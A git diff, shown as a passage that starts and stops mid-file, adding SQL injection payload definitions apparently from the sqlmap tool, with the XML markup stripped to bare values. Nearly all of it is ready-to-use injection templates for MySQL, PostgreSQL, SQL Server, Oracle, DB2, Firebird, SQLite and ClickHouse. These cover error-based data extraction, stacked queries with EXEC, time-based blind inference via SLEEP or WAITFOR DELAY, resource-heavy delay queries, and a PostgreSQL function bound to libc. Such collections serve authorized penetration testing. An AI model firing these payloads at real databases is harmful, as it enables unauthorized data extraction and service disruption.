+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Microsoft SQL Server/Sybase error-based - Parameter replace (integer column)
+ 2
+ 4
+ 1
+ 1,3
+ 3
+ (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')
+
+ (SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Oracle error-based - Parameter replace
+ 2
+ 3
+ 1
+ 1,3
+ 3
+ (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
+
+ (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Oracle
+
+
+
+
+ Firebird error-based - Parameter replace
+ 2
+ 4
+ 1
+ 1,3
+ 3
+ (SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))
+
+ (SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Firebird
+
+
+
+
+ IBM DB2 error-based - Parameter replace
+ 2
+ 4
+ 1
+ 1,3
+ 3
+ RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ IBM DB2
+
+
+
+
+
+
+ MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)
+ 2
+ 5
+ 1
+ 2,3
+ 1
+ ,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x)
+
+ ,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.5
+
+
+
+
+ MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (EXP)
+ 2
+ 5
+ 1
+ 2,3
+ 1
+ ,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)))s)
+
+ ,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)))s)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.5
+
+
+
+
+ MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)
+ 2
+ 3
+ 1
+ 2,3
+ 1
+ ,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])
+
+ ,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.6
+
+
+
+
+ MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)
+ 2
+ 5
+ 1
+ 2,3
+ 1
+ ,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))))x)
+
+ ,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))))x)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.7.8
+
+
+
+
+ MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)
+ 2
+ 5
+ 1
+ 2,3
+ 1
+ ,(SELECT 1 FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
+
+ ,(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.0
+
+
+
+
+ MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)
+ 2
+ 3
+ 1
+ 2,3
+ 1
+ ,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
+
+ ,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
+
+ MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (UPDATEXML)
+ 2
+ 5
+ 1
+ 2,3
+ 1
+ ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])
+
+ ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
+
+ MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)
+ 2
+ 5
+ 1
+ 2,3
+ 1
+ ,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s)
+
+ ,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 4.1
+
+
+
+
+ PostgreSQL error-based - ORDER BY, GROUP BY clause
+ 2
+ 3
+ 1
+ 2,3
+ 1
+ ,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))
+
+ ,(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ PostgreSQL
+
+
+
+
+ PostgreSQL error-based - ORDER BY, GROUP BY clause (GENERATE_SERIES)
+ 2
+ 5
+ 1
+ 2,3
+ 1
+ ,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))
+
+ ,(CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ PostgreSQL
+
+
+
+
+ Microsoft SQL Server/Sybase error-based - ORDER BY clause
+ 2
+ 4
+ 1
+ 3
+ 1
+ ,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')))
+
+ ,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Oracle error-based - ORDER BY, GROUP BY clause
+ 2
+ 4
+ 1
+ 2,3
+ 1
+ ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
+
+ ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Oracle
+
+
+
+
+ Firebird error-based - ORDER BY clause
+ 2
+ 5
+ 1
+ 3
+ 1
+ ,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))
+
+ ,(SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Firebird
+
+
+
+
+ IBM DB2 error-based - ORDER BY clause
+ 2
+ 5
+ 1
+ 3
+ 1
+ ,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ ,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ IBM DB2
+
+
+
+
+
+
+
+ Microsoft SQL Server/Sybase error-based - Stacking (EXEC)
+ 2
+ 2
+ 1
+ 1-8
+ 1
+ ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR]
+
+ ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR]
+ --
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
diff --git a/data/xml/payloads/inline_query.xml b/data/xml/payloads/inline_query.xml
new file mode 100644
index 00000000000..7269be695c4
--- /dev/null
+++ b/data/xml/payloads/inline_query.xml
@@ -0,0 +1,157 @@
+
+
+
+
+
+ Generic inline queries
+ 3
+ 1
+ 1
+ 1,2,3,8
+ 3
+ (SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]'))
+
+ (SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+
+
+ MySQL inline queries
+ 3
+ 2
+ 1
+ 1,2,3,8
+ 3
+ (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
+
+ (SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+
+
+
+
+ PostgreSQL inline queries
+ 3
+ 2
+ 1
+ 1,2,3,8
+ 3
+ (SELECT '[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]')
+
+ (SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ PostgreSQL
+
+
+
+
+ Microsoft SQL Server/Sybase inline queries
+ 3
+ 2
+ 1
+ 1,2,3,8
+ 3
+ (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')
+
+ (SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Oracle inline queries
+ 3
+ 2
+ 1
+ 1,2,3,8
+ 3
+ (SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)
+
+
+ (SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Oracle
+
+
+
+
+ SQLite inline queries
+ 3
+ 3
+ 1
+ 1,2,3,8
+ 3
+ SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'
+
+ SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]'
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ SQLite
+
+
+
+
+ Firebird inline queries
+ 3
+ 3
+ 1
+ 1,2,3,8
+ 3
+ SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' FROM RDB$DATABASE
+
+ SELECT '[DELIMITER_START]'||(CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' FROM RDB$DATABASE
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Firebird
+
+
+
+
+ ClickHouse inline queries
+ 3
+ 3
+ 1
+ 1,2,3,8
+ 3
+ ('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')
+
+ ('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ ClickHouse
+
+
+
+
+
diff --git a/data/xml/payloads/stacked_queries.xml b/data/xml/payloads/stacked_queries.xml
new file mode 100644
index 00000000000..b431bb7849f
--- /dev/null
+++ b/data/xml/payloads/stacked_queries.xml
@@ -0,0 +1,730 @@
+
+
+
+
+
+ MySQL >= 5.0.12 stacked queries (comment)
+ 4
+ 2
+ 1
+ 1-8
+ 1
+ ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
+
+ ;SELECT SLEEP([SLEEPTIME])
+ #
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ MySQL >= 5.0.12 stacked queries
+ 4
+ 3
+ 1
+ 1-8
+ 1
+ ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
+
+ ;SELECT SLEEP([SLEEPTIME])
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ MySQL >= 5.0.12 stacked queries (query SLEEP - comment)
+ 4
+ 3
+ 1
+ 1-8
+ 1
+ ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+
+ ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+ #
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ MySQL >= 5.0.12 stacked queries (query SLEEP)
+ 4
+ 4
+ 1
+ 1-8
+ 1
+ ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+
+ ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ MySQL < 5.0.12 stacked queries (BENCHMARK - comment)
+ 4
+ 3
+ 2
+ 1-8
+ 1
+ ;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])
+
+ ;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))
+ #
+
+
+ [DELAYED]
+
+
+ MySQL
+
+
+
+
+ MySQL < 5.0.12 stacked queries (BENCHMARK)
+ 4
+ 5
+ 2
+ 1-8
+ 1
+ ;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])
+
+ ;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))
+
+
+ [DELAYED]
+
+
+ MySQL
+
+
+
+
+ PostgreSQL > 8.1 stacked queries (comment)
+ 4
+ 1
+ 1
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)
+
+ ;SELECT PG_SLEEP([SLEEPTIME])
+ --
+
+
+ [SLEEPTIME]
+
+
+ PostgreSQL
+ > 8.1
+
+
+
+
+ PostgreSQL > 8.1 stacked queries
+ 4
+ 4
+ 1
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)
+
+ ;SELECT PG_SLEEP([SLEEPTIME])
+
+
+ [SLEEPTIME]
+
+
+ PostgreSQL
+ > 8.1
+
+
+
+
+ PostgreSQL stacked queries (heavy query - comment)
+ 4
+ 2
+ 2
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)
+
+ ;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)
+ --
+
+
+ [DELAYED]
+
+
+ PostgreSQL
+
+
+
+
+ PostgreSQL stacked queries (heavy query)
+ 4
+ 5
+ 2
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)
+
+ ;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)
+
+
+ [DELAYED]
+
+
+ PostgreSQL
+
+
+
+
+ PostgreSQL < 8.2 stacked queries (Glibc - comment)
+ 4
+ 3
+ 1
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)
+
+ ;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME])
+ --
+
+
+ [SLEEPTIME]
+
+
+ PostgreSQL
+ < 8.2
+ Linux
+
+
+
+
+ PostgreSQL < 8.2 stacked queries (Glibc)
+ 4
+ 5
+ 1
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)
+
+ ;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME])
+
+
+ [SLEEPTIME]
+
+
+ PostgreSQL
+ < 8.2
+ Linux
+
+
+
+
+ Microsoft SQL Server/Sybase stacked queries (comment)
+ 4
+ 1
+ 1
+ 1-8
+ 1
+ ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
+
+ ;WAITFOR DELAY '0:0:[SLEEPTIME]'
+ --
+
+
+ [SLEEPTIME]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Microsoft SQL Server/Sybase stacked queries (DECLARE - comment)
+ 4
+ 2
+ 1
+ 1-8
+ 1
+ ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x
+
+ ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x
+ --
+
+
+ [SLEEPTIME]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Microsoft SQL Server/Sybase stacked queries
+ 4
+ 4
+ 1
+ 1-8
+ 1
+ ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
+
+ ;WAITFOR DELAY '0:0:[SLEEPTIME]'
+
+
+ [SLEEPTIME]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Microsoft SQL Server/Sybase stacked queries (DECLARE)
+ 4
+ 5
+ 1
+ 1-8
+ 1
+ ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x
+
+ ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x
+
+
+ [SLEEPTIME]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)
+ 4
+ 1
+ 1
+ 1-8
+ 1
+ ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL
+
+ ;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL
+ --
+
+
+ [SLEEPTIME]
+
+
+ Oracle
+
+
+
+
+ Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)
+ 4
+ 4
+ 1
+ 1-8
+ 1
+ ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL
+
+ ;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL
+
+
+ [SLEEPTIME]
+
+
+ Oracle
+
+
+
+
+ Oracle stacked queries (heavy query - comment)
+ 4
+ 2
+ 2
+ 1-8
+ 1
+ ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL
+
+ ;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5
+ --
+
+
+ [DELAYED]
+
+
+ Oracle
+
+
+
+
+ Oracle stacked queries (heavy query)
+ 4
+ 5
+ 2
+ 1-8
+ 1
+ ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL
+
+ ;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5
+
+
+ [DELAYED]
+
+
+ Oracle
+
+
+
+
+ Oracle stacked queries (DBMS_LOCK.SLEEP - comment)
+ 4
+ 4
+ 1
+ 1-8
+ 1
+ ;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END
+
+ ;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END
+ --
+
+
+ [SLEEPTIME]
+
+
+ Oracle
+
+
+
+
+ Oracle stacked queries (DBMS_LOCK.SLEEP)
+ 4
+ 5
+ 1
+ 1-8
+ 1
+ ;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END
+
+ ;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END
+
+
+ [SLEEPTIME]
+
+
+ Oracle
+
+
+
+
+ Oracle stacked queries (USER_LOCK.SLEEP - comment)
+ 4
+ 5
+ 1
+ 1-8
+ 1
+ ;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END
+
+ ;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END
+ --
+
+
+ [SLEEPTIME]
+
+
+ Oracle
+
+
+
+
+ Oracle stacked queries (USER_LOCK.SLEEP)
+ 4
+ 5
+ 1
+ 1-8
+ 1
+ ;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END
+
+ ;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END
+
+
+ [SLEEPTIME]
+
+
+ Oracle
+
+
+
+
+ IBM DB2 stacked queries (heavy query - comment)
+ 4
+ 3
+ 2
+ 1-8
+ 1
+ ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])
+
+ ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3
+ --
+
+
+ [DELAYED]
+
+
+ IBM DB2
+
+
+
+
+ IBM DB2 stacked queries (heavy query)
+ 4
+ 5
+ 2
+ 1-8
+ 1
+ ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])
+
+ ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3
+
+
+ [DELAYED]
+
+
+ IBM DB2
+
+
+
+
+ SQLite > 2.0 stacked queries (heavy query - comment)
+ 4
+ 3
+ 2
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)
+
+ ;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
+ --
+
+
+ [DELAYED]
+
+
+ SQLite
+ > 2.0
+
+
+
+
+ SQLite > 2.0 stacked queries (heavy query)
+ 4
+ 5
+ 2
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)
+
+ ;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
+
+
+ [DELAYED]
+
+
+ SQLite
+ > 2.0
+
+
+
+
+ Firebird stacked queries (heavy query - comment)
+ 4
+ 4
+ 2
+ 1-8
+ 1
+ ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE
+
+ ;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4
+ --
+
+
+ [DELAYED]
+
+
+ Firebird
+ >= 2.0
+
+
+
+
+ Firebird stacked queries (heavy query)
+ 4
+ 5
